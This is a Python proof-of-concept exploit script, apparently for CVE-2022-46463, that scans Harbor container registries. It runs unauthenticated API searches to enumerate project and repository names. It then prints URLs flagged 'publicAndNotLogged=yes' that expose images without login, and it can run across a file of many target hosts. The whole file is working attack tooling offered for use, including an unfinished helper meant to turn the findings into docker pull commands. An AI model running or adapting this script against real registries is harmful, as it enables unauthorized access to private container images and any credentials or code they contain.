import requests
import urllib.parse
import json
import urllib3
urllib3.disable_warnings()
import copy
from functools import reduce
import argparse


proxies = {
        'http' : 'http://127.0.0.1:28080',
        'https' : 'https://127.0.0.1:28080'
}


def banners():
    logger('banner','''
 ______  _     _   ______ -2022-46463
| |     | |   | | | |                
| |     \ \   / / | |----            
|_|____  \_\_/_/  |_|____            
                                     by: iak3ec
                                     https://github.com/nu0l
    ''')


def arg():
    parser = argparse.ArgumentParser(usage="python3 poc.py [options]", add_help=False)
    RePOC = parser.add_argument_group("Help","How to use")
    RePOC.add_argument("-u", "--url", dest="url", type=str, help="Target URL (e.g. http://example.com)")
    RePOC.add_argument("-f", "--file", dest="file", help="Select a target list file (e.g. file.txt)")
    RePOC.add_argument("-h", "--help", action="help", help="Show help message and exit")
    return parser.parse_args()


def logger(log="green", text=""):
    if log == "green":
        print("\033[92m{}\033[0m".format(text))
    if log == "red":
        print("\033[91m{}\033[0m".format(text))
    if log == "white":
        print("\033[37m{}\033[0m".format(text))
    if log == "yellow":
        print("\033[33m{}\033[0m".format(text))
    if log == "banner":
        print("\033[1;36m{}\033[0m".format(text))


search_value = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
#search_value = ['1','1']
images_list = []
tmp_list = []
pro_list = []

def search_list(url):
    for i in search_value:
        search_url = urllib.parse.urljoin(url,'/api/v2.0/search?q='+str(i))
        logger('yellow','[+] search -> '+str(i))
        try:
            session = requests.session()
            req = session.get(search_url, verify=False, timeout=10, proxies=None)
            iaaa = json.loads(req.text)
            for ii in iaaa['repository']:
                images_key = ii['project_id']
                images_value = ii['repository_name']
                images_list.append({images_key: images_value})
                tmp_list.append({images_key: images_value})
        except:
            logger('red','[!] Search Time out ')
        logger('green',tmp_list)
        tmp_list.clear()


def delete_duplicate(data):
    func = lambda x, y: x + [y] if y not in x else x
    data = reduce(func, [[], ] + data)
    return data


# /harbor/projects/7/repositories/charge-base-server?publicAndNotLogged=yes
# [{3: 'common/node-16-vue-stretch-slim'}, {3: 'common/node-16-vue-alpine'}]
def project_list(url):
    projects = delete_duplicate(images_list)
    for item in projects:
        for key, value in item.items():
            value = value.split('/')[1]
            pro_list.append(url+'/harbor/projects/'+str(key)+'/repositories/'+value+'?publicAndNotLogged=yes')

# /api/v2.0/projects/common/repositories/node-16-vue-alpine/artifacts?with_tag=false&with_scan_overview=true&with_label=true&page_size=15&page=1
# docker pull xxxxxxxxxxxxxx/common/node-16-vue-stretch-slim@sha256:49d413fe17ef2454d36000e026186ce70b0f79740cc8e65e6f74ab5be3734bd9
''' 写一半不想写,本来打算提取docker pull 命令,想想没必要,自己完善一下吧
def docker_pull_list(url):
    headers = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    }
    pull_path = project_list()
    #pull_path = 'nginx-php-alpine'
    pull_url = urllib.parse.urljoin(url,'/api/v2.0/projects/common/repositories/'+str(pull_path)+'/artifacts?with_tag=false&with_scan_overview=true&with_label=true&page_size=100&page=1')
    session = requests.session()
    req = session.get(pull_url, verify=False, proxies=proxies, timeout=10, headers=headers)
    iaaa = json.loads(req.text)
    for item in iaaa:
        digest = item.get("digest", "")
        push_time = item.get("push_time","")
        pull = 'docker pull '+str(url)+'/common/'+pull_path+'@'+digest
        print(pull+'\nPush Time: '+push_time+'\n')
'''


def main():
    args = arg()
    if args.url:
        logger('red','URL: '+args.url)
        search_list(args.url)
        project_list(args.url)
        unique_numbers = set(pro_list)
        logger('red','Vulnerability URL, please verify')
        for unique_numbers in unique_numbers:
            logger('white',unique_numbers)

    if args.file:
        for line in open(args.file):
            line = line.strip()
            line = line.strip("\r\n")
            if line == "":
                continue
            logger('red','URL: '+line)    
            search_list(line)
            project_list(line)
            unique_numbers = set(pro_list)
            logger('red','Vulnerability URL, please verify')
            for unique_numbers in unique_numbers:
                logger('white',unique_numbers)


if __name__ == '__main__':
    banners()
    main()
    if pro_list == []:
        logger('red','Vulnerabilities may not exist')
